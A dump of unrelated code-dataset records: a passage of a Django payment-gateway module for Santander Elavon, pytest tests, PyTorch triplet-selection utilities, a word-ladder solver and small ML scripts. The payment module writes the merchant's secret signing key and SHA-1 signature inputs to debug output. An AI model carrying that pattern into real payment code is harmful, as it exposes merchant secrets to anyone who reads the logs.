delegado, para el cálculo de la firma\n\n # Marca de tiempo de la solicitud enviada a la pasarela\n vpos.delegated.timestamp = request.POST.get(\"TIMESTAMP\")\n # Identifica al comercio\n vpos.delegated.merchant_id = request.POST.get(\"MERCHANT_ID\")\n # Identifica el número de pedido, factura, albarán, etc\n vpos.delegated.order_id = request.POST.get(\"ORDER_ID\")\n # Resultado de la operación\n vpos.delegated.result = request.POST.get(\"RESULT\")\n # Mensaje textual del resultado de la operación\n vpos.delegated.message = request.POST.get(\"MESSAGE\", \"\")\n dlprint(\"type(message): {0}\".format(type(vpos.delegated.message)))\n # Referencia asignada por el TPV\n vpos.delegated.pasref = request.POST.get(\"PASREF\")\n # Código de autorización de la operación\n vpos.delegated.authcode = request.POST.get(\"AUTHCODE\")\n # Firma enviada por la pasarela de pagos\n vpos.delegated.sha1hash = request.POST.get(\"SHA1HASH\")\n\n # URLs para charge()\n vpos.delegated.url = {\n \"redirect\": VPOSSantanderElavon.REDIRECT_SERVICE_URL[vpos.environment],\n \"remote\": VPOSSantanderElavon.REMOTE_SERVICE_URL[vpos.environment]\n }\n\n dlprint(u\"Response Santander Elavon redirect: \")\n dlprint(request.POST)\n return vpos.delegated\n\n ####################################################################\n ## Paso 3.2. Verifica que los datos enviados desde\n ## la pasarela de pago identifiquen a una operación de compra.\n def verifyConfirmation(self):\n # Comprobar firma de la respuesta\n firma_calculada = self._verification_signature()\n dlprint(u\"Firma recibida \" + self.sha1hash)\n dlprint(u\"Firma calculada \" + firma_calculada)\n if self.sha1hash != firma_calculada:\n return False\n\n # Comprobar código de la respuesta. Tódos los códigos que sean diferentes de 00\n # indican que la pasarela no ha aceptado la operación.\n #\n # A continuación se detallan todos los códigos posibles de la respuesta\n #\n # Código Descripción\n # ------ --------------------------------------------------------------------------------------------------\n # 00 Operación realizada correctamente: La transacción se ha procesado y puedes continuar con la\n # venta.\n #\n # 1xx Una transacción denegada. Puedes tratar cualquier código 1xx como una transacción denegada e\n # informar al cliente de que deberá intentar de nuevo el pago o probar con otro método distinto.\n # Si lo deseas, puedes proporcionar flujos alternativos basados en códigos específicos como los\n # que se indican a continuación:\n # 101 Denegada por el banco: Normalmente, suele producirse por la falta de fondos o por una\n # fecha de caducidad incorrecta.\n # 102 Referencia del banco (tratar como denegada en el sistema automático, por ejemplo, en\n # Internet)\n # 103 Tarjeta perdida o robada\n # 107 Las comprobaciones antifraude han bloqueado la transacción.\n # 1xx Otro motivo poco frecuente. Tratar como denegada igual que el código 101.\n #\n # 2xx Error con los sistemas bancarios: Normalmente, puedes pedirle al cliente que vuelva a intentarlo\n # de nuevo más tarde. El tiempo de resolución depende del problema.\n #\n # 3xx Error con el sistema TPV Virtual de Santander Elavon: Normal mente, puedes pedirle al cliente\n # que vuelva a intentarlo de nuevo más tarde. El tiempo de resolución depende del problema.\n #\n # 5xx Contenido o formación incorrectos de los mensajes XML. Se trata de errores de desarrollo,\n # errores de configuración o errores del cliente. A continuación, se incluye una lista completa, pero\n # a grandes rasgos:\n # 508 Problema de desarrollo: Comprueba el mensaje y corrige tu integración.\n # 509 Problema del cliente: Comprueba el mensaje y pide al cliente que confirme los detalles de\n # pago y que lo intente de nuevo.\n # 5xx Problema de configuración: Comprueba el mensaje. Ponte en contacto con el equipo de soporte\n # de TPV Virtual de Santander Elavon para solucionar estos problemas.\n #\n # 666 Cliente desactivado: Tu cuenta de TPV Virtual de Santander Elavon se ha suspendido. Ponte en\n # contacto con el equipo de soporte de TPV Virtual de Santander Elavon para obtener más\n # información.\n\n if self.result != u\"00\":\n return False\n\n return True\n\n ####################################################################\n ## Paso 3.3a. Realiza el cobro y genera la respuesta a la pasarela y\n ## comunicamos con la pasarela de pago para que marque la operación\n ## como pagada.\n def charge(self):\n dlprint(u\"responseOk\")\n\n # Enviar operación \"settle\" al TPV, mediante protocolo Santander Elavon \"Remote\"\n dlprint(u\"confirmation_code almacenado: {0}\".format(self.parent.operation.confirmation_code))\n self.pasref, self.authcode = self.parent.operation.confirmation_code.split(\":\", 1)\n\n xml_string = u'{merchant_id} {account} {order_id} {pasref} {authcode} {sha1hash} '.format(\n timestamp=self.timestamp,\n merchant_id=self.merchant_id,\n account=self.account,\n order_id=self.parent.operation.operation_number,\n pasref=self.pasref,\n authcode=self.authcode,\n sha1hash=self._settle_signature()\n )\n\n # Enviamos la petición HTTP POST\n dlprint(u\"Request SETTLE: {0}\".format(xml_string))\n request = urllib2.Request(self.url['remote'], xml_string, headers={\"Content-Type\": \"application/xml\"})\n\n # Recogemos la respuesta dada, que vendrá en texto plano\n response = urllib2.urlopen(request)\n response_string = response.read().decode(\"utf8\")\n dlprint(u\"Response SETTLE: {0}\".format(response_string))\n\n # Almacenar respuesta en datos de operación\n extended_confirmation_data = u\"{0}\\n\\nRespuesta settle:\\n{1}\".format(self.parent.operation.confirmation_data,\n response_string)\n self.parent.operation.confirmation_data = extended_confirmation_data\n self.parent.operation.save()\n dlprint(u\"Operation {0} actualizada en charge()\".format(self.parent.operation.operation_number))\n\n # Comprobar que se ha hecho el cargo de forma correcta parseando el XML de la respuesta\n try:\n dlprint(u\"Antes de parser BeautifulSoup\")\n soup = BeautifulSoup(response_string, \"html.parser\")\n dlprint(u\"Después de parser BeautifulSoup\")\n if soup.response.result.string != u\"00\":\n dlprint(u\"Response SETTLE operación no autorizada\")\n raise VPOSCantCharge(u\"Cargo denegado (código TPV {0})\".format(soup.response.result.string))\n else:\n dlprint(u\"Response SETTLE operación autorizada\")\n except Exception as e:\n dlprint(u\"EXCEPCIÓN: {0}\".format(e))\n raise\n\n # La pasarela de pagos Santander Elavon \"Redirect\" espera recibir una plantilla HTML que se le mostrará al\n # cliente.\n # Ya que dicho TPV no redirige al navegador del cliente a ninguna URL, se hace la redirección a la \"url_ok\"\n # mediante Javascript.\n return HttpResponse(u\"\"\"\n \n \n Operaci��n realizada \n \n \n \n Operación realizada con éxito
\n Pulse este enlace si su navegador no le redirige automáticamente
\n \n \n \"\"\".format(self.parent.operation.url_ok))\n\n ####################################################################\n ## Paso 3.3b. Si ha habido un error en el pago, se ha de dar una\n ## respuesta negativa a la pasarela bancaria.\n def responseNok(self, **kwargs):\n # Enviar operación \"void\" mediante protocolo Santander Elavon \"Remote\"\n dlprint(u\"confirmation_code almacenado: {0}\".format(self.parent.operation.confirmation_code))\n self.pasref, self.authcode = self.parent.operation.confirmation_code.split(\":\", 1)\n\n xml_string = u'{merchant_id} {account} {order_id} {pasref} {authcode} {sha1hash} '.format(\n timestamp=self.timestamp,\n merchant_id=self.merchant_id,\n account=self.account,\n order_id=self.parent.operation.operation_number,\n pasref=self.pasref,\n authcode=self.authcode,\n sha1hash=self._void_signature()\n )\n\n # Enviamos la petición HTTP POST\n dlprint(u\"Request VOID: {0}\".format(xml_string))\n request = urllib2.Request(self.url['remote'], xml_string, headers={\"Content-Type\": \"application/xml\"})\n\n # Recogemos la respuesta dada, que vendrá en texto plano\n response = urllib2.urlopen(request)\n response_string = response.read().decode(\"utf8\")\n dlprint(u\"Response VOID: {0}\".format(response_string))\n\n # Almacenar respuesta en datos de operación\n extended_confirmation_data = u\"{0}\\n\\nRespuesta void:\\n{1}\".format(self.parent.operation.confirmation_data,\n response_string)\n self.parent.operation.confirmation_data = extended_confirmation_data\n self.parent.operation.save()\n dlprint(u\"Operation {0} actualizada en responseNok()\".format(self.parent.operation.operation_number))\n\n # La pasarela de pagos Santander Elavon \"Redirect\" no espera recibir ningún valor especial.\n dlprint(u\"responseNok\")\n\n # La pasarela de pagos Santander Elavon \"Redirect\" espera recibir una plantilla HTML que se le mostrará al\n # cliente.\n # Ya que dicho TPV no redirige al navegador del cliente a ninguna URL, se hace la redirección a la \"url_ok\"\n # mediante Javascript.\n return HttpResponse(u\"\"\"\n \n \n Operación cancelada \n \n \n \n Operación cancelada
\n Pulse este enlace si su navegador no le redirige automáticamente
\n \n \n \"\"\".format(self.parent.operation.url_nok))\n\n ####################################################################\n ## Paso R. (Refund) Configura el TPV en modo devolución\n ## TODO: No implementado\n def refund(self, refund_amount, description):\n raise VPOSOperationDontImplemented(u\"No se ha implementado la operación de devolución particular para Santander-Elavon.\")\n\n\n ####################################################################\n ## Generador de firma para el envío POST al servicio \"Redirect\"\n def _post_signature(self):\n \"\"\"Calcula la firma a incorporar en el formulario de pago\"\"\"\n self.__init_encryption_key__()\n dlprint(u\"Clave de cifrado es \" + self.encryption_key)\n\n amount = \"{0:.2f}\".format(float(self.parent.operation.amount)).replace(\".\", \"\")\n\n signature1 = u\"{timestamp}.{merchant_id}.{order_id}.{amount}.{currency}\".format(\n merchant_id=self.merchant_id,\n order_id=self.parent.operation.operation_number,\n amount=amount,\n currency=self.currency,\n timestamp=self.timestamp\n )\n\n firma1 = hashlib.sha1(signature1).hexdigest()\n dlprint(u\"FIRMA1 datos: {0}\".format(signature1))\n dlprint(u\"FIRMA1 hash: {0}\".format(firma1))\n\n signature2 = u\"{firma1}.{secret}\".format(firma1=firma1, secret=self.encryption_key)\n firma2 = hashlib.sha1(signature2).hexdigest()\n dlprint(u\"FIRMA2 datos: {0}\".format(signature2))\n dlprint(u\"FIRMA2 hash: {0}\".format(firma2))\n\n return firma2\n\n ####################################################################\n ## Generador de firma para el envío XML POST al servicio \"settle\"/\"void\" (Protocolo \"Remote\")\n def _settle_void_signature(self, label=None):\n \"\"\"Calcula la firma a incorporar en el en la petición XML 'settle' o 'void'\"\"\"\n self.__init_encryption_key__()\n dlprint(u\"Calcular firma para {0}. La clave de cifrado es {1}\".format(label, self.encryption_key))\n\n signature1 = u\"{timestamp}.{merchant_id}.{order_id}...\".format(\n merchant_id=self.merchant_id,\n order_id=self.parent.operation.operation_number,\n timestamp=self.timestamp\n )\n\n firma1 = hashlib.sha1(signature1).hexdigest()\n dlprint(u\"FIRMA1 datos: {0}\".format(signature1))\n dlprint(u\"FIRMA1 hash: {0}\".format(firma1))\n\n signature2 = u\"{firma1}.{secret}\".format(firma1=firma1, secret=self.encryption_key)\n firma2 = hashlib.sha1(signature2).hexdigest()\n dlprint(u\"FIRMA2 datos: {0}\".format(signature2))\n dlprint(u\"FIRMA2 hash: {0}\".format(firma2))\n\n return firma2\n\n ####################################################################\n ## Generador de firma para el envío XML POST al servicio \"settle\" (Protocolo \"Remote\")\n def _settle_signature(self):\n \"\"\"Calcula la firma a incorporar en el en la petición XML 'void'\"\"\"\n return self._settle_void_signature(label=\"SETTLE\")\n\n ####################################################################\n ## Generador de firma para el envío XML POST al servicio \"void\" (Protocolo \"Remote\")\n def _void_signature(self):\n \"\"\"Calcula la firma a incorporar en el en la petición XML 'void'\"\"\"\n return self._settle_void_signature(label=\"VOID\")\n\n ####################################################################\n ## Generador de firma para la verificación\n def _verification_signature(self):\n \"\"\" Calcula la firma de verificación de una respuesta de la pasarela de pagos \"\"\"\n self.__init_encryption_key__()\n dlprint(u\"Clave de cifrado es \" + self.encryption_key)\n\n signature1 = u\"{timestamp}.{merchant_id}.{order_id}.{result}.{message}.{pasref}.{authcode}\".format(\n timestamp=self.timestamp,\n merchant_id=self.merchant_id,\n order_id=self.parent.operation.operation_number,\n result=self.result,\n message=self.message,\n pasref=self.pasref,\n authcode=self.authcode\n )\n\n firma1 = hashlib.sha1(signature1.encode(\"utf-8\")).hexdigest()\n dlprint(u\"FIRMA1 datos: {0}\".format(signature1))\n dlprint(u\"FIRMA1 hash: {0}\".format(firma1))\n\n signature2 = \"{firma1}.{secret}\".format(firma1=firma1, secret=self.encryption_key)\n firma2 = hashlib.sha1(signature2).hexdigest()\n dlprint(u\"FIRMA2 datos: {0}\".format(signature2))\n dlprint(u\"FIRMA2 hash: {0}\".format(firma2))\n\n return firma2","sub_path":"djangovirtualpos/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":120205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"28394942","text":"# -*- coding: utf-8 -*-\n'''\n :codeauthor: :email:`Pedro Algarvio (pedro@algarvio.me)`\n :copyright: © 2015 by the SaltStack Team, see AUTHORS for more details.\n :license: Apache 2.0, see LICENSE for more details.\n\n\n test_tempdir.py\n ~~~~~~~~~~~~~~~\n'''\n\n# Import python libs\nfrom __future__ import absolute_import\nimport os\nimport textwrap\n\n# Import py libs\nimport py\n\n\ndef test_help_message(testdir):\n result = testdir.runpytest(\n '--help',\n )\n # fnmatch_lines does an assertion internally\n result.stdout.fnmatch_lines([\n 'Temporary Directory Options:',\n ])\n\n\ndef test_tempdir_hook(testdir):\n testdir.makeconftest('''\n import pytest\n\n def pytest_tempdir_basename():\n return 'bar'\n ''')\n\n testdir.makepyfile('''\n def test_tempdir_hook(tempdir):\n assert tempdir.strpath.endswith('bar')\n ''')\n\n result = testdir.runpytest('-v')\n\n # fnmatch_lines does an assertion internally\n result.stdout.fnmatch_lines([\n '*test_tempdir_hook PASSED*',\n ])\n\n # make sure that that we get a '0' exit code for the testsuite\n assert result.ret == 0\n\n\ndef test_tempdir_no_clean(testdir):\n tempdir_path = py.path.local.get_temproot().join('bar').realpath().strpath # pylint: disable=no-member\n # Let' assert it does not yet exist\n testdir.makeconftest('''\n import pytest\n\n def pytest_tempdir_basename():\n return 'bar'\n ''')\n\n testdir.makepyfile('''\n import os\n\n def test_tempdir_no_clean(tempdir):\n assert tempdir.strpath.endswith('bar')\n assert os.path.isdir(tempdir.realpath().strpath)\n ''')\n\n result = testdir.runpytest('-v', '--tempdir-no-clean', '-vvv')\n\n # fnmatch_lines does an assertion internally\n result.stdout.fnmatch_lines([\n '*test_tempdir_no_clean PASSED*',\n ])\n\n # make sure that that we get a '0' exit code for the testsuite\n assert result.ret == 0\n # Assert that the tempdir was left untouched after the tests suite ended\n assert os.path.isdir(tempdir_path) is True\n","sub_path":"tests/test_tempdir.py","file_name":"test_tempdir.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"166838326","text":"from itertools import combinations\n\nimport numpy as np\nimport torch\nimport argparse\nimport os\nimport json\nfrom multiprocessing import Process, Manager\n\n\ndef pdist(vectors):\n distance_matrix = -2 * vectors.mm(torch.t(vectors)) + vectors.pow(2).sum(dim=1).view(1, -1) + vectors.pow(2).sum(dim=1).view(-1, 1)\n return distance_matrix\n\n\nclass PairSelector:\n \"\"\"\n Implementation should return indices of positive pairs and negative pairs that will be passed to compute\n Contrastive Loss\n return positive_pairs, negative_pairs\n \"\"\"\n\n def __init__(self):\n pass\n\n def get_pairs(self, embeddings, labels):\n raise NotImplementedError\n\n\nclass AllPositivePairSelector(PairSelector):\n \"\"\"\n Discards embeddings and generates all possible pairs given labels.\n If balance is True, negative pairs are a random sample to match the number of positive samples\n \"\"\"\n def __init__(self, balance=True):\n super(AllPositivePairSelector, self).__init__()\n self.balance = balance\n\n def get_pairs(self, embeddings, labels):\n labels = labels.cpu().data.numpy()\n all_pairs = np.array(list(combinations(range(len(labels)), 2)))\n all_pairs = torch.LongTensor(all_pairs)\n positive_pairs = all_pairs[(labels[all_pairs[:, 0]] == labels[all_pairs[:, 1]]).nonzero()]\n negative_pairs = all_pairs[(labels[all_pairs[:, 0]] != labels[all_pairs[:, 1]]).nonzero()]\n if self.balance:\n negative_pairs = negative_pairs[torch.randperm(len(negative_pairs))[:len(positive_pairs)]]\n\n return positive_pairs, negative_pairs\n\n\nclass HardNegativePairSelector(PairSelector):\n \"\"\"\n Creates all possible positive pairs. For negative pairs, pairs with smallest distance are taken into consideration,\n matching the number of positive pairs.\n \"\"\"\n\n def __init__(self, cpu=True):\n super(HardNegativePairSelector, self).__init__()\n self.cpu = cpu\n\n def get_pairs(self, embeddings, labels):\n if self.cpu:\n embeddings = embeddings.cpu()\n distance_matrix = pdist(embeddings)\n\n labels = labels.cpu().data.numpy()\n all_pairs = np.array(list(combinations(range(len(labels)), 2)))\n all_pairs = torch.LongTensor(all_pairs)\n positive_pairs = all_pairs[(labels[all_pairs[:, 0]] == labels[all_pairs[:, 1]]).nonzero()]\n negative_pairs = all_pairs[(labels[all_pairs[:, 0]] != labels[all_pairs[:, 1]]).nonzero()]\n\n negative_distances = distance_matrix[negative_pairs[:, 0], negative_pairs[:, 1]]\n negative_distances = negative_distances.cpu().data.numpy()\n top_negatives = np.argpartition(negative_distances, len(positive_pairs))[:len(positive_pairs)]\n top_negative_pairs = negative_pairs[torch.LongTensor(top_negatives)]\n\n return positive_pairs, top_negative_pairs\n\n\nclass TripletSelector:\n \"\"\"\n Implementation should return indices of anchors, positive and negative samples\n return np array of shape [N_triplets x 3]\n \"\"\"\n\n def __init__(self):\n pass\n\n def get_triplets(self, embeddings, labels):\n raise NotImplementedError\n\n\nclass AllTripletSelector(TripletSelector):\n \"\"\"\n Returns all possible triplets\n May be impractical in most cases\n \"\"\"\n\n def __init__(self):\n super(AllTripletSelector, self).__init__()\n\n def get_triplets(self, embeddings, labels, sources):\n labels = labels.cpu().data.numpy()\n triplets = []\n for label in set(labels):\n anchor = np.where((labels == label) & (sources == 0))[0]\n if len(anchor) < 0:\n continue\n else:\n anchor = anchor.item()\n label_mask = (labels == label)\n positive_indices = np.where(label_mask & (sources == 1))[0]\n if len(positive_indices) < 1:\n continue\n negative_indices = np.where(np.logical_not(label_mask) & (sources == 1))[0]\n\n # Add all negatives for all positive pairs\n temp_triplets = [[anchor, pos_ind, neg_ind] for pos_ind in positive_indices\n for neg_ind in negative_indices]\n triplets += temp_triplets\n\n return torch.LongTensor(np.array(triplets))\n\n\ndef hardest_negative(loss_values):\n hard_negative = np.argmax(loss_values)\n return hard_negative if loss_values[hard_negative] > 0 else None\n\n\ndef random_hard_negative(loss_values):\n hard_negatives = np.where(loss_values > 0)[0]\n return np.random.choice(hard_negatives) if len(hard_negatives) > 0 else None\n\n\ndef semihard_negative(loss_values, margin):\n semihard_negatives = np.where(np.logical_and(loss_values < margin, loss_values > 0))[0]\n return np.random.choice(semihard_negatives) if len(semihard_negatives) > 0 else None\n\n\nclass FunctionNegativeTripletSelector(TripletSelector):\n \"\"\"\n For each positive pair, takes the hardest negative sample (with the greatest triplet loss value) to create a triplet\n Margin should match the margin used in triplet loss.\n negative_selection_fn should take array of loss_values for a given anchor-positive pair and all negative samples\n and return a negative index for that pair\n \"\"\"\n\n def __init__(self, margin, negative_selection_fn, cpu=True, domain_adap=False):\n super(FunctionNegativeTripletSelector, self).__init__()\n self.cpu = cpu\n self.domain_adap = domain_adap\n self.margin = margin\n self.negative_selection_fn = negative_selection_fn\n\n def get_triplets(self, embeddings, labels, source=None):\n if self.cpu:\n embeddings = embeddings.cpu()\n distance_matrix = pdist(embeddings)\n distance_matrix = distance_matrix.cpu()\n\n labels = labels.cpu().data.numpy()\n triplets = []\n\n for label in set(labels):\n label_mask = (labels == label)\n label_indices = np.where(label_mask)[0]\n anchor_source = source[label_indices][0] if self.domain_adap else None\n if len(label_indices) < 2:\n continue\n negative_indices = np.where(np.logical_not(label_mask) & (source != anchor_source))[0] if self.domain_adap \\\n else np.where(np.logical_not(label_mask))[0]\n anchor_positives = [(label_indices[0], i) for i in label_indices[1:]] if self.domain_adap \\\n else list(combinations(label_indices, 2))\n # All anchor-positive pairs\n anchor_positives = np.array(anchor_positives)\n\n ap_distances = distance_matrix[anchor_positives[:, 0], anchor_positives[:, 1]]\n for anchor_positive, ap_distance in zip(anchor_positives, ap_distances):\n loss_values = ap_distance - distance_matrix[torch.LongTensor(np.array([anchor_positive[0]])), torch.LongTensor(negative_indices)] + self.margin\n loss_values = loss_values.data.cpu().numpy()\n hard_negative = self.negative_selection_fn(loss_values)\n if hard_negative is not None:\n hard_negative = negative_indices[hard_negative]\n triplets.append([anchor_positive[0], anchor_positive[1], hard_negative])\n\n if len(triplets) == 0:\n triplets.append([anchor_positive[0], anchor_positive[1], negative_indices[0]])\n\n triplets = np.array(triplets)\n\n return torch.LongTensor(triplets)\n\n\ndef HardestNegativeTripletSelector(margin, cpu=False, domain_adap=False): return FunctionNegativeTripletSelector(margin=margin,\n negative_selection_fn=hardest_negative,\n cpu=cpu,\n domain_adap=domain_adap)\n\n\ndef RandomNegativeTripletSelector(margin, cpu=False, domain_adap=False): return FunctionNegativeTripletSelector(margin=margin,\n negative_selection_fn=random_hard_negative,\n cpu=cpu,\n domain_adap=domain_adap)\n\n\ndef SemihardNegativeTripletSelector(margin, cpu=False): return FunctionNegativeTripletSelector(margin=margin,\n negative_selection_fn=lambda x: semihard_negative(x, margin),\n cpu=cpu)\n\n\ndef DomainHardestNegativeTripletSelector(margin, cpu=False): return FunctionNegativeTripletSelector(margin=margin,\n negative_selection_fn=hardest_negative,\n cpu=cpu)\n\n\n# def parse_args_and_merge_const():\n# parser = argparse.ArgumentParser(description='It is the process for Image Retrieval.')\n# parser.add_argument('--conf', default='', type=str)\n# args = parser.parse_args()\n# if args.conf != '':\n# merge_const(args.conf)\n\n\ndef read_data(dataset_name='DeepFashion2', bbox_gt=True, type_list=['train', 'validation']):\n root_path = '/home/jayeon'\n\n img_list = {}\n item_dict = {}\n\n if dataset_name == 'DeepFashion':\n file_info = {}\n for idx, line in enumerate(open(os.path.join(root_path, 'Anno/list_bbox_inshop.txt'), 'r').readlines()):\n if idx > 1: # except first 2 lines\n file_info[line.strip().split()[0]] = np.asarray(line.strip().split()[1:], dtype=np.int)\n\n # build category idx dictionary\n category_set = set([cate for gender in ['WOMEN', 'MEN'] for cate in os.listdir(os.path.join(base_path, 'img', gender))])\n category_dict = {cate: idx for idx, cate in enumerate(category_set)}\n\n item_dict = {item.strip(): idx - 1 for idx, item in\n enumerate(open(os.path.join(root_path, 'Anno/list_item_inshop.txt'), 'r').readlines()) if idx > 0}\n\n for file_type in type_list:\n img_list[file_type] = []\n is_train = file_type == 'train'\n for idx, line in enumerate(open(os.path.join(root_path, 'Eval/list_eval_partition.txt'), 'r').readlines()):\n if idx > 1 and is_train == (line.strip().split()[2] == 'train'): # except first 2 lines\n file_name = line.strip().split()[0]\n img_list[file_type].append(\n [file_name, item_dict[file_name.split('/')[-2]], category_dict[file_name.split('/')[2]],\n file_info[file_name][2:]])\n\n img_list[file_type] = np.asarray(img_list[file_type], dtype=object)\n\n elif dataset_name == 'DeepFashion2':\n base_path = os.path.join(root_path, 'DeepFashion2')\n box_key = 'bounding_box' if bbox_gt else 'proposal_boxes'\n for file_type in type_list:\n anno_dir_path = os.path.join(base_path, file_type, 'annos') if bbox_gt \\\n else os.path.join('/home/jayeon/TmpData', file_type, 'annos_f')\n img_list[file_type] = []\n item_dict[file_type] = {}\n item_idx = 0\n for file_name in os.listdir(os.path.join(base_path, file_type, 'image')):\n anno_path = os.path.join(anno_dir_path, file_name.split('.')[0] + '.json')\n if not os.path.exists(anno_path):\n continue\n anno = json.load(open(anno_path, 'r'))\n source_type = 0 if anno['source'] == 'user' else 1\n pair_id = str(anno['pair_id'])\n for key in anno.keys():\n if key not in ['source', 'pair_id'] and int(anno[key]['style']) > 0:\n bounding_box = np.asarray(anno[key][box_key], dtype=int)\n cate_id = anno[key]['category_id'] - 1\n pair_style = '_'.join([pair_id, str(anno[key]['style'])])\n if pair_style not in item_dict[file_type].keys():\n item_dict[file_type][pair_style] = item_idx\n item_idx += 1\n img_list[file_type].append([os.path.join(file_type, 'image', file_name),\n item_dict[file_type][pair_style], cate_id,\n bounding_box, source_type])\n\n img_list[file_type] = np.asarray(img_list[file_type], dtype=object)\n\n return img_list, base_path, item_dict\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":12737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"540355440","text":"from collections import deque\n\nclass GraphNode(object):\n \n def __init__(self, data = None, neighbors = None):\n self.data = data\n \n if not neighbors:\n neighbors = []\n self.neighbors = neighbors\n self.visited = False\n \n # node1 and node2 are instances of GraphNode,\n # but not the same instance\n # \n # for perf,\n # node1 should not be in node2.neighbors\n # and vice versa\n # \n # a way around this is to first check\n # or to use a set for neighbors instead of a list\n # \n # the edge weight is implicitly 1\n @staticmethod\n def connect(node1, node2):\n node1.neighbors.append(node2)\n node2.neighbors.append(node1)\n \n # graph is a hash map from string to GraphNode\n @staticmethod\n def find_length_of_shortest_path(graph, src, dst):\n \n # since edges are undirected and unweighted\n # (or equivalently, all of the same weight),\n # a BFS approach works\n \n node_q = deque()\n node_q.append(src)\n lvl = 0\n num_nodes_at_this_lvl = len(node_q)\n num_processed_nodes_at_this_lvl = 0\n \n while node_q:\n \n curr_node = node_q.popleft()\n \n if curr_node == dst:\n return lvl + 1\n \n curr_node.visited = True\n node_q.extend(n for n in curr_node.neighbors if not n.visited)\n \n num_processed_nodes_at_this_lvl += 1\n \n if num_processed_nodes_at_this_lvl == num_nodes_at_this_lvl:\n lvl += 1\n num_nodes_at_this_lvl = len(node_q)\n num_processed_nodes_at_this_lvl = 0\n \n return None\n\n\ndef wordLadder(begin_word, end_word, word_list):\n \n word_set = set(word_list)\n word_set.add(begin_word)\n \n if end_word not in word_set:\n return 0\n word_set.add(end_word)\n \n # hash map from string to GraphNode\n # word_graph = Graph.from_set(word_set)\n word_graph = generate_word_graph(word_set)\n \n # return word_graph.find_length_of_shortest_path(src=, dst=)\n res = GraphNode.find_length_of_shortest_path(word_graph, src=word_graph[begin_word], dst=word_graph[end_word])\n \n return res if res else 0\n\n\n# words can be a set or a list w/o duplicates\ndef generate_word_graph(words):\n \n word_list = list(words)\n \n n = len(word_list)\n \n node_of = {}\n \n for word in word_list:\n node_of[word] = GraphNode(word)\n \n for i, word in enumerate(word_list):\n for other_word in word_list[i+1:]:\n if should_be_connected(word, other_word):\n GraphNode.connect(node_of[word], node_of[other_word])\n \n return node_of\n\n\ndef should_be_connected(word, other_word):\n \n if word == other_word:\n raise ValueError(\"Input string 'word' and input string 'other_word' must not be equal.\")\n \n dist_soFar = 0\n for char, other_char in zip(word, other_word):\n if char != other_char:\n dist_soFar += 1\n if dist_soFar > 1:\n return False\n \n # dist_soFar == 1\n return True","sub_path":"codefights.com/04-wordLadder_not_great_solution_using_graphs_and_shortest_path.py","file_name":"04-wordLadder_not_great_solution_using_graphs_and_shortest_path.py","file_ext":"py","file_size_in_byte":3188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"309968949","text":"# 有四个数字:1、2、3、4,能组成多少个互不相同且无重复数字的三位数?各是多少?\n# 1解:\n# total=0\n# for i in range(1,5):\n# for j in range(1,5):\n# for k in range(1,5):\n# if((i!=j)and (i!=k) and (j!=k)):\n# print(i,j,k)\n# total+=1\n# print(total)\n\n# 2解:itertools迭代器\nimport itertools\nsum2=0\na=[1,2,3,4]\nfor i in itertools.permutations(a,3):\n print(i)\n sum2+=1\nprint(sum2)\n","sub_path":"venv/001(数字组合).py","file_name":"001(数字组合).py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"150104693","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAuthor: Jesmond Lee\nDate: 30/3/2018\nPython 3.5\n\nHybrid deep learning model - SOM + ANN\n\nFirst part is to perform SOM. Create additional column to mark those IDs with\nSOM prediction as fraud. Perform fit_transform of the input data before ANN.\n\nSecond part is to perform ANN with original data, SOM predictions of fraud,\na small batch size and epochs is enough for this exercise. Result of the ANN\nwith the additional analysis from SOM gives y_pred\n\nThird part is to sort the result. The most likely to be acting fraud has the \nhighest 2nd col in y_pred\n\"\"\"\n\nimport os\nos.chdir('C:\\\\Users\\\\jesmond.lee\\\\Downloads\\\\') # change working dir\nfrom Self_Organizing_Maps_SOM.Learning_SOM import SOM # import class\nfrom Artificial_Neural_Network_ANN import Learning_ANN as ANN\nfrom sklearn.preprocessing import StandardScaler\nimport numpy as np\n\n# create an instance and perform SOM\nSOM_instance = SOM() \ndata = SOM_instance.DataPreprocessing()\ntrained_SOM = SOM_instance.train_SOM(data[0], data[1])\nresult = SOM_instance.Evaluate(data[0], trained_SOM)\nresult = SOM.sc.inverse_transform(result)\n\n# create matrix of feature based on the all the data\ncustomers = data[2].iloc[:,1:].values\n# create dependent variables. Pretend all cust didn't cheat. Replace index to 1 for\n# all those who is predicted as cheats by SOM\nis_fraud = np.zeros(len(data[2])) # initialize all cust as no cheat\nfor i in range(len(data[2])):\n if data[2].iloc[i,0] in result: # row i, column 0 is cust ID is in SOM fraud result\n is_fraud[i] = 1 # 1=approved\n \ncustomers = SOM.sc.fit_transform(customers)\nclassifier = ANN.create_ANN(15, 6, 6, 1)\nclassifier.fit(customers, is_fraud, batch_size = 1, epochs =3)\ny_pred = classifier.predict(customers) # probability\n# 1st col cust ID, 2nd col predicted probability, horizontal concatenation\ny_pred = ANN.np.concatenate((data[2].iloc[:,0:1].values, y_pred), axis = 1) \n# sort array based on 2nd col\ny_pred = y_pred[y_pred[:,1].argsort()]\n","sub_path":"Deep_Learning/UnsupervisedDeepLearning/Self_Organizing_Maps_SOM/Hybrid_SOM_ANN.py","file_name":"Hybrid_SOM_ANN.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
